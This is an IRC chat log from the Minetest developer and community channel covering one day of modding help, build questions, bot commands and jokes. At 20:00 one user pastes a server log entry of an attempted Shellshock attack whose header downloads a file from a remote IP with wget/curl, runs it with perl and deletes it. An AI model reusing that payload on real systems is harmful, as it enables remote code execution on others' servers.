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00:02 MinetestBot kaeza: 03-19 07:46 UTC <Megaf> ¯\_(ツ)_/¯
00:06 kaeza greetings
00:06 kaeza <3 MinetestBot
00:06 MinetestBot <3 kaeza
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00:08 kaeza for some reason MinetestBot is echoing the messages here and in #-fr
00:08 kaeza sfan5, ^
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00:25 rubenwardy Yay! http://pasteboard.co/2otxy8L2.png
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00:28 Obani http://hooooooooo.com/
00:30 kaadmy >.>
00:34 Obani http://iloveyoulikeafatladylovesapples.com/
00:34 Obani http://salmonofcapistrano.com/
00:34 Obani internet
00:35 rom1504 domains are cheap
00:35 kaeza http://nooooooooooooooo.com/
00:35 Obani http://www.pointerpointer.com/
00:36 Obani this one is huge
00:36 kaadmy pointerpointer.com is kinda neat actually
00:37 rom1504 wtf is it supposed to do
00:38 Obani point the pointer
00:38 rom1504 oh
00:38 rom1504 why is it that slow
00:39 kaadmy probably loading the images
00:39 rom1504 could just have a list of pictures with finger degrees and give your the correct picture
00:39 rom1504 sending a picture take like 100ms
00:40 kaeza rom1504, I see you're not on my connection...
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01:30 MinetestBot [git] ShadowNinja -> minetest/minetest: Clean up Strfnd 9388704 https://git.io/vaXMD (2016-03-19T21:27:57-04:00)
01:30 MinetestBot [git] ShadowNinja -> minetest/minetest: Tweak travis script eb7db21 https://git.io/vaXMy (2016-03-19T21:27:57-04:00)
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02:05 wilkgr Anybody want a terrible joke?
02:13 Dragonop wilkgr, me
02:14 wilkgr Roses are red, violets are red, trees are red, grass is red - oh wait, my garden is on fire
02:14 Void7 Roses are <INSERT COLOR HERE>, violets are <INSERT COLOR HERE>, <EXCLAIMATION> i'm a robot
02:15 Dragonop ROFLOL
02:16 wilkgr :_
02:16 wilkgr :)
02:16 Dragonop Somehow it's funny when I read it in english
02:16 Dragonop language magic
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02:50 rubenwardy My app is going through the review process, and will be here when done: https://play.google.com/store/apps/detai​ls?id=com.rubenwardy.minetestmodmanager
02:51 rubenwardy Apparently it'll take an hour and a half
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03:30 swift110-phone Hello all
03:30 kaeza o/
03:31 swift110-phone How are you kaeza?
03:31 kaeza good, you?
03:42 swift110-phone Im great
03:43 swift110-phone I actually have minetest on all of my working laptops
03:43 swift110-phone Its even on my raspberry pi 3
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11:16 Fritz2 hello
11:17 Fritz2 how can i compile the "raw" version on minetest?
11:18 Calinou Fritz2, raw version?
11:19 Fritz2 the version that i download from github
11:21 Calinou Fritz2, the README explains it
11:21 Calinou it depends on your operating system
11:23 Fritz2 ok thanks
11:24 Fritz2 bye
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11:45 afflatus is it possible to use the ncurses --terminal if running minetest as a daemon?
11:47 afflatus is it documented anywhere
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13:31 MinetestBot hoodedice: 09-25 23:54 UTC <rubenwardy> test
13:32 hoodedice hi ruben
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13:32 MinetestBot Jordach: 03-19 07:46 UTC <Megaf> 😒
13:33 Jordach i don't even remember what i sent to Megaf, needs context
13:34 Megaf hm
13:35 Megaf Jordach, you sent me this via bot
13:35 Megaf <MinetestBot> Megaf: 03-07 17:25 UTC <Jordach> ( ͡° ͜ʖ ͡°)
13:35 Jordach oh
13:35 Jordach right
13:36 Jordach ooooo
13:36 Jordach Blender 2.77
13:36 Megaf now, I don't even remember what I said or what we were talking about
13:37 Jordach http://irc.minetest.ru/min​etest/2016-03-07#i_4551775
13:37 Megaf I have Blender 2.76 available here
13:38 Megaf Jordach, I see
13:38 Jordach the steam client has blender from the foundation as an installable for Win, OS X and linux
13:38 Jordach with complete autoupdates
13:39 Megaf cool
13:39 Megaf I wish I could use AMDGPU driver here
13:39 Megaf it does support my GPU, but only if it's installer in other CPU
13:39 Jordach wish i could have a GTX 970
13:39 Megaf installed*
13:39 Jordach and a Vive
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13:41 Jordach i'd go AMD if blender properly did OpenCL
13:41 Jordach instead of half-assing it
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13:43 Megaf that's cool http://store.steampowered.com/app/365670/
13:43 Megaf !title
13:43 MinetestBot Megaf: Blender on Steam
13:44 Jordach plus it tracks my hours of blender
13:54 Fixer MinetestBot, ( ͡° ͜ʖ ͡°)
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14:01 MinetestBot PilzAdam: 12-12 11:59 UTC <Jordach> my server auto redirects to https:// automatically now http://i.imgur.com/eecQikV.png
14:04 Krock \o/ it works
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15:40 heavygale hey there,... looks like the shared doors of landrush mod are not compatible with the latest doors-mod from minetest_game - is there a easy way to hix that?
15:41 heavygale https://github.com/Bremaweb/landru​sh/blob/master/shared_door.lua#L38
15:41 heavygale attempt to index field 'landrush:shared_door_b_1' (a nil value)
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16:12 Fixer heavygale, maybe sofar can help you, he did new doors *cough*
16:15 heavygale i could comment these lines out,... with the effect that shared doors become normal wodden doors
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16:16 heavygale but that could only be a workaround
16:16 heavygale as some people on my server use the shared_doors :P
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16:17 sfan5 !server players:most
16:17 MinetestBot sfan5: just test | 87.110.8.195 | Clients: 25/78, 21/33 | Version: 0.4.13-dev / minetest | Ping: 46ms
16:17 sfan5 !tell kaeza most likely a race condition ¯\_(ツ)_/¯
16:17 MinetestBot sfan5: yeah, sure, whatever
16:17 MinetestBot sfan5: yeah, sure, whatever
16:20 Megaf so, I've been doing some tests here with Minetest
16:20 Megaf and the bottleneck is the CPU, not the GPU
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16:21 Megaf it will keep at least one core at 70% and other core at least at 30%
16:21 Megaf and the GPU use will be like, 28%
16:21 Megaf shaders and shaders option dont affect GPU use, it does affects the CPU use quite a lot
16:22 Megaf that is when playing on a server, so there's not much to be processed locally
16:22 Megaf quite interesting, isn't it?
16:23 Megaf sfan5, ^
16:24 sfan5 ¯\_(ツ)_/¯
16:24 sfan5 it's not new that Minetest uses quite much CPU
16:26 Fixer sfan5, where did you get the ¯\_(ツ)_/¯ ?
16:26 sfan5 on the internet
16:27 Fixer sfan5, you paste it or type it manually?
16:28 sfan5 automatic replace feature from hexchat
16:28 sfan5 i just type :sh​r:
16:29 sfan5 i also have ( ͡° ͜ʖ ͡°) ಠ_ಠ (╯°□°)╯︵ ┻━┻ ┻━┻ ︵╰(°□°)╯︵ ┻━┻ ✔ ✘ (•_•)   ( •_•)>⌐■-■   (⌐■_■) (ノಠ益ಠ)ノ彡┻━┻ ಠ▃ಠ (ಠʖಠ) ರ_ರ (◔ ◡ ◔) and TRIGGERED
16:30 Megaf (╯°□°)╯︵ ʞooqǝɔɐℲ
16:30 Megaf sfan5, ^
16:31 Megaf ԅ(≖‿≖ԅ)
16:31 sfan5 where did you get that upside-down o
16:31 Megaf lol
16:31 Megaf may favourite is this sequence.
16:31 Megaf (╯°□°)╯︵ ┻━┻
16:31 Megaf ノ┬─┬ノ ︵ ( \o°o)\
16:31 Megaf ┬──┬◡ノ(° -°ノ)
16:33 Megaf \(._.\) ƪ(‘-’ ƪ)(ʃ ‘-’)ʃ (/._.)/
16:34 Krock seems to be related to minetest.
16:35 Megaf (null)
16:35 Megaf FAIL
16:35 Megaf 😊
16:35 Megaf 😐
16:35 Megaf there
16:37 sfan5 needs more polandball http://i.imgur.com/g5ussEo.png
16:39 rubenwardy :shr:
16:42 Fixer o_0
16:43 Fixer TRIGGERED
16:43 Fixer hmm
16:43 Megaf TRIGGERED
16:44 Fixer bold
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16:51 hoodedice dude
16:51 hoodedice the word triggered triggers me
16:52 sfan5 TRIGGERED
16:53 hoodedice TRIGGER RED
16:53 hoodedice !g triggered
16:53 MinetestBot hoodedice: http://www.urbandictionary.c​om/define.php?term=Triggered
16:53 hoodedice " The mating call of a landwhale as it submerges from the patriarchy. "
16:53 sfan5 TRIGGERED
16:53 sfan5 better?
16:53 hoodedice no
16:53 hoodedice nothing is better as long as patriarchy.
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16:54 attackhelicopter https://www.reddit.com/r/copypasta/comments/2c4m​fv/i_sexually_identify_as_an_attack_helicopter/
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17:02 Megaf T R I G G E 4 RED
17:02 Megaf T R I G G E4 RED
17:02 Megaf T R I G G E2 BLUE
17:02 sfan5 unicode has wide letters
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17:03 Megaf 1BLACK2BLUE3GREEN4RED5IDONTK​NOW6GREY?7AMBER8YELLOW9LIME
17:04 Megaf 05BROWN
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17:05 attackhelicopter !rainbow what is this magic
17:05 MinetestBot 4wha7t i8s t3his ma6gic
17:05 Jordach I HEARD THERE WAS A PARTY
17:05 Jordach (。◕‿‿◕。)
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17:07 CWz 02I wonder what this party is for
17:08 Megaf !rainbow party?
17:08 MinetestBot 4pa7rt8y?
17:10 Jordach !rainbow (。◕‿‿◕。)
17:10 MinetestBot 4(。7◕‿8‿◕3。)
17:10 Jordach !rainbow ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°) ( ͡° ͜ʖ ͡°)
17:10 MinetestBot 4( ͡°7 ͜ʖ 8͡°) 3( ͡° ͜ʖ 6͡°) ( ͡°4 ͜ʖ 7͡°) 8( ͡°3 ͜ʖ ͡°)
17:10 Megaf !rainbow (~‾▿‾)~ ヽ(゚ー゚)ノ   (~’.')~ ヾ(-_- )ゞ     (〜^∇^)〜 ヽ(゚ー゚)ノ   (~‾⌣‾)~ ヽ(°◇° )ノ   \(._.\) ƪ(‘-’ ƪ)(ʃ ‘-’)ʃ (/._.)/
17:10 MinetestBot 4(~‾▿7‾)~ 8ヽ(゚ー3゚)ノ   (~6’.')~ ヾ(4-_- 7)ゞ  8   (3〜^∇^)〜 ヽ6(゚ー゚)ノ  4 (~‾7⌣‾)~8 ヽ(°3◇° )ノ   6\(._.\) 4ƪ(‘-7’ ƪ)8(ʃ ‘3-’)ʃ (/.6_.)/
17:10 * CWz Whistles while walking away casually.
17:10 Fixer !rainbow omg
17:10 MinetestBot 4o7m8g
17:11 Megaf !rainbow └(^o^ )X( ^o^)┘
17:11 MinetestBot 4└(^7o^ 8)X(3 ^o^)┘
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17:11 Megaf http://upli.st/l/list-of-all-ascii-emoticons
17:11 Megaf !title
17:11 MinetestBot Megaf: List of All ASCII Emoticons - uplist
17:13 Megaf (∩`-´)⊃━☆゚.*・。゚   (⊙_☉)
17:13 Megaf !title
17:13 MinetestBot Megaf: List of All ASCII Emoticons - uplist
17:17 Fixer horri(y)fi(y)ing
17:20 attackhelicopter ...
17:24 sfan5 !rainbow horri(y)fi(y)ing
17:24 MinetestBot 4hor7ri(8y)f3i(y)in6g
17:24 sfan5 ^ Fixer
17:33 rubenwardy Everyone, check that your mods are all green here: http://app-mtmm.rubenwardy.com/
17:33 rubenwardy That the database powering the android mod manager
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17:36 sfan5 why don't you just use the official mmdb?
17:36 sfan5 /s
17:36 rubenwardy there is no official mmdb
17:36 rubenwardy !title https://forum.minetest.net/mmdb/
17:36 MinetestBot HTTP error 404
17:37 sfan5 did you miss the /s?
17:39 rubenwardy what does /s mean?
17:40 sfan5 sarcasm
17:40 rubenwardy oh, okay
17:40 sfan5 http://www.urbandictionary​.com/define.php?term=%2Fs
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17:53 hoodedice sorry ruben, sfan5 is all memes now, blame jordach
17:53 sfan5 yes
17:53 Jordach meeeeems
17:53 Jordach they are the best
18:08 Megaf_ !rainbow This Is a Test
18:08 MinetestBot 4Thi7s I8s a3 Test
18:09 Megaf_ do /ctcp Megaf_ version
18:09 Megaf_ :)
18:09 hoodedice !py c 1 + 1
18:11 Megaf_ !v
18:11 Megaf_ !voice
18:11 hoodedice !slap Megaf_
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18:15 FatalNIX Hey guys!
18:16 FatalNIX I'm new to the whole minetest world and I am just wondering about some things
18:16 FatalNIX is minetest a tick based game?
18:16 * Sokomine is still trying to figure out a good way how to handle doors when placing a schematic/we file that had the old ones
18:16 Sokomine what do you consider tick based? there are some things that happen while time passes, but it's generally not a problem for the character...
18:16 sfan5 hoodedice: try !c instead
18:17 hoodedice !c 'works'
18:17 MinetestBot 'works'
18:18 FatalNIX well a tick based game is sort of like a tick based OS' program scheduler (but most of them have left that dark era). I was just curious if minetest was more event based or something else
18:18 rubenwardy there are delta time steps
18:18 rubenwardy it's more complicated than that, though
18:19 rubenwardy as you have server and client
18:19 FatalNIX somebody told me that modding is much more fun and one of the limiting hatreds I have about Minecraft is that it is a tick based game, it really makes it difficult to do some things. I was hoping I'd have a lot more fun here
18:19 FatalNIX (it's only -one- thing that drove me nuts)
18:19 rubenwardy I don't really know what you mean
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18:20 rubenwardy Games are either fixed time steps or variable time steps. We use the latter, afaik. Actions such as movement are timesed by a delta time
18:20 rubenwardy pos.x += vel.x * dtime
18:20 Sokomine_ accidently closed the window
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18:20 rubenwardy Mod wise, you register callbacks such as register_on_punchnode
18:20 hoodedice MT is easier to get into wrt modding
18:21 Sokomine_ hm. or still there?
18:21 Fixer wb Sokomine_
18:21 hoodedice Sokomine, you use webchat?
18:21 Sokomine_ no
18:21 rubenwardy but the server still performs discrete steps to update the world. register_global_step
18:22 rubenwardy Sokomine_: http://app-mtmm.rubenwardy.com/status/?a=sokomine
18:22 Sokomine_ rubenwardy: yes, thanks. useful for checking if all mods are where they belong to :-)
18:22 Sokomine_ my main account hasn't left yet. so it's probably still around somewhere here?
18:22 rubenwardy oh
18:22 FatalNIX hoodedice: what is wrt?
18:23 hoodedice sorry, math notation for "with relation to"
18:23 Sokomine hah! the window was just hidden somehow
18:24 Sokomine sorry for bothering you all with the _ account. was just an accident with this window here
18:26 FatalNIX wow minetest is pretty neat
18:29 hoodedice yeah, you should try playing an older version, like 0.4.3 and compare it to current git build
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18:31 LNJ Is there a LUA function for getting the minetest version?
18:32 est31 LNJ, this is not intended
18:33 est31 you should find other ways to test whether a feature is available
18:33 est31 e.g. if you test for an API function you can do if minetest.api_function_name
18:33 LNJ okay...
18:34 FatalNIX yay I found pumba
18:34 FatalNIX Now how long has this project been around?
18:34 LNJ I want to use the ndt connected drawtype
18:35 sfan5 FatalNIX: 2011
18:38 LNJ http://pastebin.com/c2wJjWYq like this here
18:39 heavygale ah, just looked through the github-network and found a fork which already fixed the doors problem :) https://github.com/FozLand/landrush/commit​/096b39518241e594d14e4c73063b766e47600968
18:40 hoodedice est31, won't pointing to the lua_api.txt be better?
18:41 hoodedice https://github.com/minetest/mine​test/blob/master/doc/lua_api.txt
18:41 LNJ When comes a new minetest version out? :D
18:41 Fixer soon
18:41 FatalNIX so from my understanding.. lua mods aren't sandboxed are they?
18:42 sfan5 nope, not sandboxed
18:42 est31 FatalNIX, not by default
18:42 FatalNIX aha
18:42 est31 you can turn it on if you want
18:42 est31 its a setting
18:42 FatalNIX right
18:42 FatalNIX but that's actually good, that means you can do some really really insane stuff
18:42 FatalNIX which, could be bad, but can be super awesome
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18:44 FatalNIX I think I'll have a lot of fun hacking up some lua on minetest then :D
18:45 sfan5 you probably will
18:45 FatalNIX I downloaded this book I found on the wiki and it's pretty neat
18:46 est31 the rubenwardy book?
18:46 est31 its cool yeah
18:46 FatalNIX I think so
18:46 FatalNIX how is modding with servers?
18:46 FatalNIX a nightmare?
18:46 Calinou easy?
18:46 FatalNIX i would think so
18:46 Calinou client downloads the media
18:46 FatalNIX Oh wow
18:46 Calinou mods run server-side, client doesn't run any code
18:46 FatalNIX it has an auto downloader thing cool
18:47 Calinou (no risk of security issues on clients)
18:47 Calinou yes but it's slow
18:47 FatalNIX so that makes it super easy to make mods that are more like server plugins
18:47 Calinou you might want to use remote_media + a Web server to speed it up
18:47 Calinou but even then it'll remain slower than implementations you can find in eg. ioquake3
18:47 FatalNIX hmm
18:47 sfan5 are you seriously compating ioquake3 and minetest?
18:47 FatalNIX that's actually kind of nice that it is server side though because it's kind of an anti cheat measure
18:47 Calinou sfan5, yes, the former can download at the full line speed :)
18:48 Calinou the latter doesn't even tell you about download speed, but nethogs tells me it is slower
18:48 FatalNIX so if no code runs on the client side, then how do client specific things work..
18:48 Calinou FatalNIX, not really, it's really easy to cheat in Minetest
18:48 FatalNIX like playing a sound only a client can hear
18:48 Calinou including flying/noclip/no fall damage/no drown damage
18:48 sfan5 it downloads the media
18:48 FatalNIX I see
18:48 Calinou client-specific sounds are possible, it's defined in the API
18:48 sfan5 and plays it if the server says so
18:49 FatalNIX I see
18:50 FatalNIX wow, minetest runs so fast
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18:50 Calinou yes, with VBO patch that was recently merged, it does
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18:53 CWz um seems someone is  attaching server to this channel instead of on inchra
18:53 CWz or on it's own freenode channel
18:54 LNJ I like Wasteland!
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18:58 Megaf Calinou, what changed with the patch?
18:58 hoodedice hello Calinou
18:58 Calinou Minetest rendering uses VBO (Vertex Buffer Objects)
18:58 Calinou hi hoodedice
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19:00 sfan5 k
19:00 sfan5 !quiet *@static.52.118.46.78.clients.your-server.de
19:00 sfan5 !mute *@static.52.118.46.78.clients.your-server.de
19:01 Megaf how do I tell cmake where sqlite is?
19:01 hoodedice sfan lol
19:01 LNJ sfan5 maybe the other server too?
19:01 sfan5 that covers both
19:02 LNJ ah same ip
19:02 Megaf -DSQLITE3_LIBRARY=/boot/system​/develop/lib/x86/libsqlite3.ao
19:02 Megaf like that?
19:03 hoodedice SQLITE3_INCLUDE_DIR             - Directory that contains sqlite3.h
19:03 sfan5 Megaf: yes that looks correct https://github.com/minetest/minetest/blo​b/master/cmake/Modules/FindSQLite3.cmake
19:04 * hoodedice eats some humble pie
19:04 * Calinou eats some pinkie pie
19:04 hoodedice sfan5, quick
19:04 hoodedice we have a brony infestation
19:04 hoodedice kill it with fire
19:05 * sfan5 sets Calinou on fire
19:05 * Megaf splashes a bucket of water in Calinou
19:05 Megaf if that makes sense
19:06 * nm0i mews
19:07 * sfan5 meows and rolls around
19:08 FatalNIX hmm. is this lua 5.1,2, or 3?
19:08 * hoodedice passes a link to visual studio code
19:08 hoodedice http://code.visualstudio.com
19:08 sfan5 5.1 iirc
19:08 FatalNIX :(
19:09 FatalNIX not a big deal I guess
19:09 Calinou we rely on LuaJIT (optional)
19:09 Calinou so we can't use 5.2/5.3 features
19:09 FatalNIX I've just been getting fond of 5.2 lately
19:09 FatalNIX oh.. ouch
19:10 Calinou hoodedice, http://code.visualstudio.com/License/
19:10 FatalNIX wait what? how is that optional?
19:10 Calinou I thought they switched to MIT license?
19:10 FatalNIX if you rely on it
19:10 Calinou FatalNIX, LuaJIT is optional.
19:10 Megaf anyone compiling Minetest with clang by the way?
19:10 hoodedice IIRC, it is restrictive
19:10 nm0i Megaf: i did once.
19:10 Calinou but if you were to use a 5.2/5.3 feature in Minetest, and a LuaJIT user stumbles upon it… they'd choke on it
19:10 Calinou this is why we use 5.1
19:10 Calinou LuaJIT is not going to update above 5.1
19:10 FatalNIX oh I see
19:11 * LNJ has only Lua 5.2.4
19:11 hoodedice Calinou OMG I just say this line: "
19:11 hoodedice TIME-SENSITIVE SOFTWARE. The software will stop running on 31/12/2016 (day/month/year). You will not receive any other notice. You may not be able to access data used with the software when it stops running."
19:11 Megaf cmake ../ -DBUILD_CLIENT=0 -DENABLE_SOUND=0 -DUSE_FREETYPE=0 -DENABLE_FREETYPE=0 -DENALBE_LEVELDB=0 -DENABLE_CURL=0 -DENABLE_REDIS=0 -DENABLE_SPATIAL=0 -DENABLE_CURSES=0 -DBUILD_SERVER=1 -DSQLITE3_LIBRARY=/boot/system​/develop/lib/x86/libsqlite3.a -DIRRLICHT_SOURCE_DIR=/boot/h​ome/Downloads/irrlicht-1.8.3/
19:11 Megaf This should work
19:11 FatalNIX apparently luajit works with 5.2...
19:11 hoodedice this is hilarious. Way to go MS, way to self-destruct your own notepad clone
19:11 FatalNIX according to http://luajit.org/extensions.html
19:12 FatalNIX to some extent
19:12 FatalNIX okay, some some of 5.2s features should work then
19:12 FatalNIX I would think
19:13 sfan5 Megaf: why is your home folder on your /boot?
19:13 Megaf sfan5 ctcp version me and you will understand
19:13 FatalNIX oh it has to be compiled into luajit though
19:14 hoodedice okay, Calinou, I think the open source blob you download and compile from github is MIT, but the pre-compiled stuff from the official website is MS-licensed
19:15 Calinou okay, that'll make me not even consider it, I'll keep using Atom :p
19:15 sfan5 wat
19:15 hoodedice here https://github.com/Microsoft/vscod​e/issues/60#issuecomment-161792005
19:15 FatalNIX Though since all lua mods run on the server side only, then does that mean that I can safely use C bindings to Lua on my server?
19:15 hoodedice atom was nice till I found this, which is an improvement IMO in loading times and large file handling
19:16 sfan5 yes
19:16 sfan5 you can even run python mods on your server if you can get that to work somehow
19:16 sfan5 won't matter for the client
19:16 Calinou run QuakeC mods!
19:16 FatalNIX LOL
19:16 FatalNIX I'm actually a Perl programmer
19:16 sfan5 Perl it is then
19:16 FatalNIX I hate python technically..
19:17 * LNJ likes python!!
19:17 FatalNIX but it seems like for the most part the lua api is good enough that you'd rarely need anything else
19:18 hoodedice > hate python
19:18 * hoodedice puts on the judging glasses
19:19 sfan5 hoodedice have you ever installed gentoo
19:19 hoodedice no
19:19 sfan5 me neither
19:19 hoodedice ok
19:19 LNJ sfan5 have you ever installed archlinux?
19:20 sfan5 yes, three times
19:20 * FatalNIX avoids arch at all costs now
19:20 sfan5 actually more
19:20 FatalNIX it used to be great, and then systemd broke it
19:20 LNJ okay, I don't
19:20 FatalNIX :P
19:20 sfan5 systemd works fine for me
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19:20 sfan5 no more shitty init scripts
19:20 LNJ I'm using debian
19:20 hoodedice I'm using debian
19:21 LNJ so I have systemd too
19:21 est31 systemd is good for freedom
19:21 hoodedice (with xubuntu on top)
19:21 * FatalNIX is a FreeBSD user, but this laptop runs Slackware
19:21 sfan5 !py __import__("os").popen("cat /etc/os-release").read()
19:21 MinetestBot 'NAME="Ubuntu"\nVERSION="14.04.4 LTS, Trusty Tahr"\nID=ubuntu\nID_LIKE=d​ebian\nPRETTY_NAME="Ubuntu 14.04.4 LTS"\nVERSION_ID="14.04"\nHOME_URL="http://www.ubuntu.com/"\nSUPPORT_URL="http://help.ubuntu.com/"\nBUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"\n'
19:21 hoodedice (so it is actually xubuntu)
19:21 est31 it disallows many BSD licensed libcs
19:21 est31 only allows truly freely licensed glibc
19:21 FatalNIX I prefer to just have my collection of scripts in /etc/rc.d
19:21 FatalNIX makes it easy
19:22 est31 systemd still allows having scripts AFAIK
19:22 FatalNIX yes
19:22 FatalNIX but I'd rather not have it in my way
19:22 est31 you just dont _have_ to use them
19:22 FatalNIX XD
19:22 sfan5 in your way?
19:22 sfan5 you prefer writing a huge script instead of small unit file?
19:22 FatalNIX yep.
19:23 sfan5 !py __import__("os").popen("cat /etc/init.d/serverlist | ~/sprunge").read()
19:23 MinetestBot 'http://sprunge.us/hAUb\n'
19:23 sfan5 ^ i don't like writing long scripts like those
19:23 sfan5 "long"
19:23 sfan5 but still way too much stuff that's not actually about the program i want to start
19:23 hoodedice sorry not sorry https://www.youtube.com/watch?v=93Cqq0qNm2M
19:24 FatalNIX sfan5: most of the time they don't have to be any more than 10 to 20 lines
19:24 FatalNIX it depends on the software
19:25 FatalNIX some of my init scripts are < 10 lines
19:25 FatalNIX some of them are 100
19:25 FatalNIX most of them aren't any longer than 25
19:25 sfan5 obviously it depends
19:25 sfan5 i still find systemd unit files way easier
19:25 FatalNIX heh
19:26 LNJ Has anyone telegram here?
19:26 heavygale https://max.bk.tl/default_fence.png anybody an idea what's wrong with my default fences?
19:26 FatalNIX I'm also kind of mad about the whole "mount efi firmware as rw" crap. that should be shadowed and protected with a rw enable bit or something
19:27 LNJ heavygale thats only a screenshot please post the code (not in irc)
19:27 sfan5 that's not systemd fault tho
19:27 FatalNIX no it's noot
19:27 FatalNIX but
19:28 heavygale LNJ: I updatest to the latest minetest_game a few hours ago
19:28 LNJ ah ok
19:28 LNJ have you the latest dev of minetest?
19:28 LNJ they have a new drawtype
19:28 heavygale i'll update my client
19:29 LNJ (NDT_CONNECTED)
19:29 heavygale indeed
19:29 heavygale latest client fixed it
19:29 heavygale nevermind :D
19:31 FatalNIX whew
19:31 FatalNIX battery died
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19:35 FatalNIX wut
19:35 FatalNIX there anything tricky I gotta do to get a server running with minetest --server ? the wiki seems outdated
19:37 swift110 hey all
19:38 FatalNIX apparently I have to download a subgame
19:39 LNJ you can use: minetest --server --world /path/to/world --config /path/to/minetest.conf --logfile /path/to/debug.log
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19:51 LNJ What is about the 0.5 doesn't it should be already released
19:52 hoodedice 0.5 will be a huge rewrite, breaking a lot of things
19:52 Calinou we should just release a 1.0 and shut up :|
19:52 hoodedice next version will be a continuation of 0.4.
19:52 LNJ ah ok
19:52 FatalNIX LNJ: you say that but it's more complex than that
19:52 FatalNIX I need top supply a valid gamespec
19:54 est31 people say 0.5 should break things
19:54 est31 imo we shouldnt do that
19:54 est31 not worth it
19:54 est31 except we really change the basic architecture
19:54 est31 but i doubt we will get ever consensus for that
19:55 est31 its better done as separate project
19:55 FatalNIX I would like to see periodic tiling support for textures
19:55 FatalNIX at some point
19:55 FatalNIX because my eyes went nuts lol
19:57 sofar let's switch to v3s32 and break everything
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19:58 Out`Of`Control no
19:58 sofar yes!
19:58 Out`Of`Control lets change bit by bit, small steps
19:58 sofar can't ever change in small steps to a larger world
19:59 rubenwardy A larger world would be nice, as well as a more utilised vertical world
20:00 rubenwardy Lol, someone tried to hack my server
20:00 rubenwardy "GET /cgi-bin/status HTTP/1.1" 404 151 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5Cn​XSUCCESS!\x22;system(\x22wget http://185.106.92.143/asd.tar -O /tmp/asd.tar;curl -O /tmp/asd.tar http://185.106.92.143/asd.tar ; perl /tmp/asd.tar; rm -fr /tmp/asd.tar;rm -rf /tmp/asd.*\x22);'"
20:00 sofar plus it would give us potentially more bits for param1 and param2
20:01 sofar since packing it to 128bit would make sense
20:04 est31 also perhaps we should think on compressing more mapblocks together into the map
20:04 est31 dunno bout param1/2
20:04 sofar well if xyz is 32bit, then that's 3x32 bits. It wouldn't make any sense to keep p1/p2 at 16 bits
20:04 sofar that gives a 112bit aligned node
20:05 sofar wait, nvm, I'm confused
20:05 sofar nodes are (type, p1, p2)
20:05 sofar that wouldn't change
20:06 est31 ermm no
20:07 est31 nodes are stored in mapblocks
20:08 heavygale wow, the lastest client version sucks... everytime i want to type a command there is a space in front of the slash insertet automatically
20:08 est31 heavygale, ?
20:08 sofar heavygale: file a bug if you're offended
20:08 heavygale sure,.. so it's not on purpose?!
20:09 est31 i dont think so
20:09 est31 which way did you open the console
20:09 heavygale T
20:09 est31 and on which commit are you
20:09 heavygale but with the latest version it's this new console like chat-window
20:10 heavygale https://github.com/krondor-gam​e/minetest/releases/tag/latest
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20:21 Out`Of`Control is there a mod that block flood?
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20:23 kahrl heavygale: might be a problem with that fork
20:24 kahrl heavygale: I can't reproduce it in official HEAD
20:24 kaeza o/
20:24 rubenwardy https://github.com/minetest/minetest/issues/3880
20:24 rubenwardy !title
20:24 MinetestBot rubenwardy: commands do not work on mac · Issue #3880 · minetest/minetest · GitHub
20:24 rubenwardy Hi kaeza
20:24 kaeza rubenwardy, http://app-mtmm.rubenwardy.com/ <-- colors are awful in search results
20:24 kaeza <-- colorblind
20:25 rubenwardy lol
20:25 kaeza which ones are green and which ones are red? :(
20:25 rubenwardy can you read it?
20:25 Out`Of`Control hi kaeza
20:25 rubenwardy green = added, red = everything else
20:27 Calinou http://app-mtmm.rubenwardy.com/status/?a=Calinou
20:27 Calinou :|
20:27 kaeza rubenwardy, that particular shade of green is ard on the eyes
20:27 kaeza +h
20:27 Sokomine probably doesn't help if the colors cannot be distinguished visually. you might add a text field somewhere that contains the information provided in the color
20:28 rubenwardy It's #353 currently
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20:28 kaeza green should be a lot brighter IMHO
20:28 rubenwardy If the mod was added, it's green. If the mod was not added, it's red. Is "added" not enough?
20:30 rubenwardy Give me colours to try, if you want. Currently #533 #353 and #222 for background, #ccc for link, #aaa for normal text
20:32 rubenwardy found a plugin to test colour blindness, it's pretty bad
20:35 hoodedice #1ce
20:36 kaeza 00d3d1ce
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20:36 hoodedice > not even proper hex
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20:37 kaeza what
20:40 kaeza rubenwardy, #383 and #833 work for me
20:40 rubenwardy I choose these in the end: http://app-mtmm.rubenwardy.com/status/?a=kaeza
20:40 rubenwardy should I still do 383 etc?
20:45 kaeza http://i.imgur.com/v07xLle.png <-- #383 and #833
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20:52 kaeza another possibility is add icons to the rows (checkmark for "OK", cross for "Error")
20:54 kaeza and the a { color: #0be; } is quite out of place IMHO
20:54 kaeza or, well, I mean for the <h1>
20:57 * kaeza goes back under his rock
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22:04 lambda-11235 Will //save save to your computer or the server?
22:05 red-001 server?
22:05 red-001 is that a World Edit command?
22:05 sofar double //
22:05 sofar likely
22:05 lambda-11235 red-001: Yes.
22:05 sofar lambda-11235: worldedit saves on the server
22:05 sofar mods can't save on the client
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22:28 angelo1123_ hey guys
22:30 angelo1123_ whos online
22:31 red-001 not me
22:31 angelo1123_ lol
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